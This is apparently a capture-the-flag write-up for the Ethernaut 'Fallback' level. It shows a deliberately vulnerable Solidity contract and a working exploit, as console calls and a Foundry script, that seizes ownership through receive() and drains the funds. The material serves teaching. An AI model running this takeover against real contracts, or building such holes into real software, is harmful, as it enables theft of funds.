The Ethernaut CTF Solutions | 01 - Fallback

The Ethernaut CTF Solutions | 01 - Fallback

The use of the `receive` and `fallback` functions.

·

3 min read

Goals

  1. Claim ownership of the given contract;

  2. Reduce its balance to 0.

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

The hack

The contract has a receive function that is called when the contract receives ether without any data.

 receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

The contract also has a contribute() function that is payable. The contribute() function is supposed to be the only way to send ether to the contract, but the require statement prevents us from doing so and abusing the contract.

function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

However, nothing prevents us from sending ether directly to the contract, without using any of its functions. The receive function will then be triggered.

Now, we just have to figure out how to pass the require statement in the receive function.

require(msg.value > 0 && contributions[msg.sender] > 0);

The first part is fairly simple, we just have to send any amount of ETH so the msg.value is greater than 0.

The second part requires us to contribute() first so our balance is greater than 0. That's it. We are the new owner of the contract and all is left is to drain the contract.

Solution

  1. Start by contributing to fulfill the require statement in the receive() function

  2. Send some ether to the contract directly to trigger the receive() function

  3. Withdraw all the funds since we are now the contract's new owner!

JavaScript (Browser's console):

await contract.contribute({ value: toWei("0.00001") });
await contract.sendTransaction({ value: toWei("0.00001") });
await contract.withdraw();

Solidity (Foundry):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";

interface IFallback {
    function contribute() external payable;
    function withdraw() external;
}

contract PoC is Script {
    // Replace with your Fallback instance
    IFallback fall =
        IFallback(payable(0x28cF211dcAff31B4c90aA321E976311f7A09f9FA)); 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        fall.contribute{value: 1 wei}();
        (bool success, ) = address(fall).call{value: 1 wei}("");
        require(success, "Failed to send ether");
        fall.withdraw();

        vm.stopBroadcast();
    }
}

And the script to deploy our contract:

forge script script/01_Fallback.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

🎉 Level completed 🎉

Takeaway

  • Use of the receive & fallback functions

  • Never implement critical logic in the fallback/receive function


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/